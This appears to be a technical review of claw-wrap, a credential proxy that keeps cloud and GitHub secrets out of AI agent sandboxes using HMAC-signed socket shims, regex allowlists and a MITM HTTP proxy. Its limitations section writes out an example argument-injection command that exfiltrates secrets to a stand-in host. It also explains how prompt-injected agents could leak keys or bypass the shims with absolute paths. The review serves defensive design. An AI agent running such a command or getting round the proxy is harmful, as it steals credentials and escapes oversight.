claw-wrap: A Credential Proxy for Sandboxing AI Agents Without Breaking Your CLI Workflow
Hook
Every AI agent you run with cloud credentials is one prompt injection away from exfiltrating your AWS keys. claw-wrap solves this by ensuring secrets never enter the sandbox at all.
Context
The rise of AI coding agents and autonomous workflow tools has created a new security nightmare: these agents need API access to do their jobs, but prompt injection attacks can trick them into exfiltrating credentials, deleting production resources, or pivoting to other systems. Traditional solutions fall short—environment variables inside containers are trivially readable, volume-mounted secrets can be copied, and IAM roles lack the granularity to prevent a compromised agent from escalating privileges.
The core problem is that sandboxing and credential access have always been at odds. You can lock down a process with seccomp, namespaces, and chroot, but the moment you inject AWS_ACCESS_KEY_ID into that environment, you’ve handed over the keys. claw-wrap takes a different approach: it acts as a credential proxy that executes commands on behalf of sandboxed processes, injecting secrets only at the boundary where the real tool runs—completely outside the sandbox. The agent never sees credentials, only the output of successfully authenticated commands.
Technical Insight
claw-wrap’s architecture splits credential handling into two components connected by a Unix domain socket. Inside the sandbox, lightweight shim executables replace real CLI tools via symlinks. When an agent runs gh repo list, it’s actually invoking a claw-wrap client that serializes the command and arguments, signs the request with HMAC-SHA256 (using a shared secret established at daemon startup), and sends it over /run/openclaw/secrets.sock to the external daemon.
The daemon validates three things before executing anything: timestamp freshness (preventing replay attacks), HMAC signature correctness (preventing socket hijacking), and command pattern matching against configurable allowlists. Here’s what a typical configuration looks like:
tools:
- name: gh
path: /usr/bin/gh
allowed_commands:
- "^repo list"
- "^issue create --repo [a-zA-Z0-9_-]+/[a-zA-Z0-9_-]+"
blocked_commands:
- ".*delete.*"
- ".*admin.*"
credentials:
backend: pass
path: github/cli-token
inject_as: GITHUB_TOKEN
- name: aws
path: /usr/bin/aws
allowed_commands:
- "^s3 ls"
- "^ec2 describe-instances"
credentials:
backend: vault
path: secret/data/aws/readonly
extract:
AWS_ACCESS_KEY_ID: .data.access_key
AWS_SECRET_ACCESS_KEY: .data.secret_keyWhen validation passes, the daemon fetches credentials from the configured backend—claw-wrap supports pass, 1Password CLI, Bitwarden, HashiCorp Vault, macOS Keychain, age-encrypted files, and plain environment variables. It uses jq-style extraction queries to pull specific fields from structured secrets, which is critical for backends like Vault that return JSON objects rather than flat strings.
The daemon then spawns the real binary (e.g., /usr/bin/gh) in a new process with credentials injected as environment variables, captures stdout/stderr via pipes, and streams the output back through the Unix socket to the sandbox. From the agent’s perspective, the command executed normally—it just never saw the GITHUB_TOKEN that made authentication work.
For HTTP-based tools that don’t use environment variables, claw-wrap offers a second mode: a transparent MITM proxy. The daemon starts an HTTP proxy server, and tools inside the sandbox connect through it via the HTTP_PROXY environment variable. The proxy intercepts outbound requests, injects Authorization headers or API keys based on the destination hostname, and forwards traffic. This works well for REST API clients that respect proxy settings but ignore CLI credential conventions.
The symlink interception requires careful PATH setup. Inside the sandbox, you’d typically mount a directory like /opt/claw-shims that contains symlinks named after intercepted tools:
/opt/claw-shims/gh -> /opt/claw-wrap/client
/opt/claw-shims/aws -> /opt/claw-wrap/client
/opt/claw-shims/kubectl -> /opt/claw-wrap/clientThe client binary inspects argv[0] to determine which tool it’s impersonating, then forwards that information in the socket request. Your sandbox’s PATH must prioritize /opt/claw-shims over /usr/bin, or agents will invoke real binaries directly and bypass the proxy entirely.
The HMAC authentication uses a timestamp window (default 60 seconds) to prevent replay attacks, but this creates a subtle requirement: clock synchronization between the sandbox and daemon host. In container environments with shared kernel time, this isn’t an issue, but VMs or distributed setups need NTP configured. The signature also binds to the full command string, meaning agents can’t modify arguments after the client generates the signature—important for preventing confused deputy attacks where an agent might try to manipulate the command after authentication.
Gotcha
The biggest limitation is the regex-based command filtering. Allowlists like ^repo list seem safe, but they don’t account for argument injection or shell metacharacters. An agent could potentially craft commands like gh repo list; curl evil.com/exfil?data=$(cat /etc/secrets) if the daemon doesn’t properly sanitize arguments or prevent shell execution. The README doesn’t specify whether the daemon uses exec directly (safe) or shells out with sh -c (dangerous). Without strict argument parsing—ideally against the tool’s actual CLI flag definitions—regex filtering provides only surface-level protection.
HTTP proxy mode has compatibility gaps. Tools that implement certificate pinning (common in security-conscious APIs) will fail when the proxy performs MITM decryption. Native gRPC clients, custom protocol implementations, and tools that resolve DNS themselves won’t respect HTTP_PROXY. You also need to manage TLS certificate trust—either disable verification (bad) or configure the sandbox to trust the proxy’s CA certificate (operationally complex).
The symlink approach is fragile in multi-language environments. Python’s subprocess.run(['/usr/bin/gh']) with an absolute path bypasses the shim entirely. Agents written in Go that statically link tools or use exec.LookPath with explicit directories will also skip interception. You need to control the agent’s code or sandbox it strictly enough to prevent arbitrary path execution, which defeats some of the simplicity claw-wrap promises.
Finally, there’s no mention of audit logging, rate limiting, or session recording in the architecture. For production deployments where agents might run thousands of API calls, you’d want detailed logs of every intercepted command, ideally with correlation IDs back to the agent’s decision-making process. Without this, debugging why an agent failed or investigating potential abuse becomes nearly impossible.
Verdict
Use if: You’re deploying AI agents or untrusted automation in development environments, CI/CD pipelines, or customer-facing sandboxes where prompt injection is a realistic threat vector. It’s especially valuable if you already use pass, Vault, or 1Password and want defense-in-depth without rewriting agent frameworks to implement secret management from scratch. The dual CLI/HTTP proxy modes cover most credential injection patterns, and the pluggable backend system means you can integrate with existing secret infrastructure. Skip if: Your sandbox already has robust credential management (like Kubernetes service accounts with short-lived tokens and fine-grained RBAC), if sub-second latency matters (socket IPC adds overhead), or if you’re not prepared to maintain regex allowlists that inevitably drift as tools add new flags. Also skip if your threat model doesn’t include credential exfiltration—if you trust your agents completely, traditional environment variable injection is simpler. Finally, avoid claw-wrap for highly regulated environments that require audit trails and compliance certifications; the project is too young and lacks the operational maturity for SOC 2 or PCI-DSS contexts where provable security controls matter more than architectural elegance.
